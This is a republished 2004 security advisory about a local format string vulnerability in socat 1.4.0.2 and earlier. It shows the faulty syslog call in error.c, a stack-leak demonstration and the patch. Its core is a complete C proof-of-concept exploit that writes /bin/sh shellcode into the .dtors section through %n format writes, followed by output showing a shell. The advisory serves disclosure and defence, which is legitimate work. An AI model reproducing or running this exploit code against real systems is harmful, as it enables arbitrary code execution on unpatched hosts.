Lucene search
K

advisory-07-nsg.txt

🗓️ 27 Oct 2004 00:00:00Reported by CoKiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 34 Views

Socat versions 1.4.0.2 and below have a local format string vulnerability affecting logging.

Code
`-------------------------------------------------  
No System Group - Advisory #07 - 18/10/04  
-------------------------------------------------  
Program: Socat  
Homepage: http://www.dest-unreach.org/socat/  
Vulnerable Versions: Socat 1.4.0.2 and below  
Risk: Low / Medium  
Impact: Local Format String Vulnerability  
-------------------------------------------------  
  
  
- DESCRIPTION  
-------------------------------------------------  
Socat is a relay for bidirectional data transfer   
between two independent data channels. Each of these   
data channels may be a file, pipe, device (terminal   
or modem, etc.), socket (Unix, IP4, IP6 - raw, UDP,   
TCP), a client for SOCKS4, proxy CONNECT, or SSL, etc.   
It provides forking, logging, and dumping, different   
modes for interprocess communication, and many more  
options. It can be used, for example, as a TCP relay   
(one-shot or daemon), as a daemon-based socksifier,   
as a shell interface to Unix sockets, as an IP6 relay,   
for redirecting TCP-oriented programs to a serial line,   
or to establish a relatively secure environment (su   
and chroot) for running client or server shell scripts   
with network connections.  
  
More informations at: http://www.dest-unreach.org/socat/  
  
  
- DETAILS  
-------------------------------------------------  
Socat is affected by a format string bug in the   
void _msg() function to 220 lines of error.c code:  
  
--- error.c ---  
215:static void _msg(int level, const char *buff, const char *syslp) {  
216: if (diagopts.logstderr) {  
217: fputs(buff, stderr); fflush(stderr);  
218: }  
219: if (diagopts.syslog) {  
220: syslog(syslevel[level], syslp);  
221: }  
222: if (diagopts.logfile) {  
223: fputs(buff, diagopts.logfile); fflush(diagopts.logfile);  
224: }  
225:}  
--- error.c ---  
  
We can show some parts of the stack memory by using a format string loke  
this:  
  
coki@servidor:~/audit$ socat -lyAAAA%30\$p  
2004/10/18 13:13:07 socat[25191] E unknown syslog facility "AAAA%30$p"  
coki@servidor:~/audit$ tail -n 1 /var/log/syslog  
Oct 18 13:13:07 servidor socat[25191]: E unknown syslog facility "AAAA0x41414141"  
coki@servidor:~/audit$  
  
- EXPLOIT  
-------------------------------------------------  
  
------------------ socat_exp.c ------------------  
/* socat_exp.c  
  
Socat Format String Vulnerability  
  
socat <= 1.4.0.2 local exploit (Proof of Concept)  
  
by CoKi <[email protected]>  
No System Group - http://www.nosystem.com.ar  
*/  
  
#include <stdio.h>  
#include <string.h>  
  
#define PATH "/usr/local/bin/socat"  
#define OBJDUMP "/usr/bin/objdump"  
#define GREP "/usr/bin/grep"  
  
unsigned char shellcode[]= /* aleph1 shellcode.45b */  
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"  
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"  
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e"  
"\x2f\x73\x68";  
  
int check(unsigned long addr);  
  
int main(int argc, char *argv[]) {  
  
int i, dtorsaddr;  
unsigned int bal1, bal2, bal3, bal4;  
char temp[512];  
char buffer[1024];  
int cn1, cn2, cn3, cn4;  
FILE *f;  
char *env[3] = {shellcode, NULL};  
int shaddr = 0xbffffffa - strlen(shellcode) - strlen(PATH);  
  
sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP);  
f = popen(temp, "r");  
if(fscanf(f, " %08x", &dtorsaddr) != 1) {  
pclose(f);  
printf("Cannot find .dtors address\n");  
exit(1);  
}  
pclose(f);  
dtorsaddr = dtorsaddr + 4;  
  
printf("\n socat <= 1.4.0.2 local exploit (Proof of Concept)\n");  
printf(" by CoKi <[email protected]>\n\n");  
printf(" shellcode address = %.8p\n", shaddr);  
printf(" .dtors address = %.8p\n\n", dtorsaddr);  
  
bzero(temp, sizeof(temp));  
bzero(buffer, sizeof(buffer));  
  
strcat(buffer, "-ly");  
  
for(i = 0; i < 4; i++) {  
bzero(temp, sizeof(temp));  
sprintf(temp, "%s", &dtorsaddr);  
strncat(buffer, temp, 4);  
dtorsaddr++;  
}  
  
bal1 = (shaddr & 0xff000000) >> 24;  
bal2 = (shaddr & 0x00ff0000) >> 16;  
bal3 = (shaddr & 0x0000ff00) >> 8;  
bal4 = (shaddr & 0x000000ff);  
  
cn1 = bal4 - 27 - 16;  
cn1 = check(cn1);  
cn2 = bal3 - bal4;  
cn2 = check(cn2);  
cn3 = bal2 - bal3;  
cn3 = check(cn3);  
cn4 = bal1 - bal2;  
cn4 = check(cn4);  
  
sprintf(temp, "%%%du%%30\$n%%%du%%31\$n%%%du%%32\$n%%%du%%33\$n", cn1, cn2, cn3, cn4);  
  
strcat(buffer, temp);  
  
execle(PATH, "socat", buffer, NULL, env);  
}  
  
int check(unsigned long addr) {  
char tmp[128];  
snprintf(tmp, sizeof(tmp), "%d", addr);  
if(atoi(tmp) < 1)  
addr = addr + 256;  
  
return addr;  
}  
  
------------------ socat_exp.c ------------------  
  
coki@servidor:~$ make socat_exp  
coki@servidor:~$ ./socat_exp  
  
socat <= 1.4.0.2 local exploit (Proof of Concept)  
by CoKi <[email protected]>  
  
shellcode address = 0xbfffffb9  
.dtors address = 0x080740c4  
  
2004/10/19 09:49:46 socat[26197] E unknown syslog facility  
"ÄÅÆÇ%142u%30$n%70u%31$n%256u%32$n%192u%33$n"  
sh-2.05b$  
  
This exploit does not give a root shell :(  
  
  
- SOLUTIONS  
-------------------------------------------------  
Change the void _msg() function of error.c code:  
  
--- error.c ---  
215:static void _msg(int level, const char *buff, const char *syslp) {  
216: if (diagopts.logstderr) {  
217: fputs(buff, stderr); fflush(stderr);  
218: }  
219: if (diagopts.syslog) {  
220: syslog(syslevel[level], "%s", syslp); // <--- here  
221: }  
222: if (diagopts.logfile) {  
223: fputs(buff, diagopts.logfile); fflush(diagopts.logfile);  
224: }  
225:}  
--- error.c ---  
  
  
- REFERENCES  
-------------------------------------------------  
http://www.nosystem.com.ar/advisories/advisory-07.txt  
  
  
- CREDITS  
-------------------------------------------------  
Discovered by CoKi <[email protected]>  
  
No System Group - http://www.nosystem.com.ar`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Oct 2004 00:00Current
7.4High risk
Vulners AI Score7.4
34